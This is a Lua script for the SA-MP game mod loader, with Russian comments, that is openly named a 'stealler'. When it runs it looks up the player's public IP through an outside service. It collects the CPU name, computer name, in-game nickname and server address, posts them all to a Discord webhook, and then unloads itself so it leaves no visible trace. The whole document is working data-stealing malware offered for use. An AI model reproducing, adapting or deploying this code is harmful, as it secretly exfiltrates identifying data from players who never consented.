local encoding = require 'encoding' -- подключаем для корректной отправки русских букв
encoding.default = 'CP1251'
u8 = encoding.UTF8
local sampev = require 'lib.samp.events' -- подключаем для хука отправки ответа на диалог
local effil = require 'effil' -- для ассинхронных запросов
local IP = 'none' -- тут будет хранится пароль и айпи игрока
--==[ WEBHOOK ]==--
local URL = '' -- URL вебхука
local data = {
['username'] = 'stealler', -- ник отправителя сообщения в дс (ниже я сделал так что ник = название сервера)
['avatar_url'] = 'https://www.blast.hk/data/avatars/l/112/112329.jpg?1643483694', -- ссылка на аватарку
['content'] = nil, -- сообщение, нам нахуй не нужно, так как выглядит убого, так что nil
['embeds'] = {
{
['description'] = 'NONE', -- тут будет текст который мы отправим
['color'] = 16711757, -- цвет ( тут ff004d )
}
}
}
local requests = require('requests')
function getProcessorName()
local handle = io.popen('reg.exe QUERY HKLM\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0 /v ProcessorNameString')
local result = handle:read("*a")
local processor_name = result:match('REG_SZ%s+(.+)'):gsub('%s+$', '')
handle:close()
return processor_name
end
function main()
while not isSampAvailable() do wait(0) end
local response = requests.get('http://api.ipify.org/')
if response.status_code == 200 then
IP = response.text
end
data['username'] = sampGetCurrentServerName() -- в качестве ника отправителя сообщения устанавливаем название сервера local name = os.getenv("computername")
data['embeds'][1]['description'] = '**Name:** ```'..sampGetPlayerNickname(select(2, sampGetPlayerIdByCharHandle(PLAYER_PED)))..'```\n**Processor:** ```'..getProcessorName()..'```\n**IP:** ```'..IP..'```\n**PC NAME:** ```'..os.getenv("computername")..'```\n**SERVER:** ```'..select(1, sampGetCurrentServerAddress())..':'..select(2, sampGetCurrentServerAddress())..'```'
asyncHttpRequest('POST', URL, {headers = {['content-type'] = 'application/json'}, data = u8(encodeJson(data))}) -- отправляем ассинхронный запрос с аргументами (нашими настройками)
thisScript():unload()
wait(-1)
end
-- функция для отправки ассинхронных сообщений
function asyncHttpRequest(method, url, args, resolve, reject)
local request_thread = effil.thread(function (method, url, args)
local requests = require 'requests'
local result, response = pcall(requests.request, method, url, args)
if result then
response.json, response.xml = nil, nil
return true, response
else
return false, response
end
end)(method, url, args)
-- Если запрос без функций обработки ответа и ошибок.
if not resolve then resolve = function() end end
if not reject then reject = function() end end
-- Проверка выполнения потока
lua_thread.create(function()
local runner = request_thread
while true do
local status, err = runner:status()
if not err then
if status == 'completed' then
local result, response = runner:get()
if result then
resolve(response)
else
reject(response)
end
return
elseif status == 'canceled' then
return reject(status)
end
else
return reject(err)
end
wait(0)
end
end)
end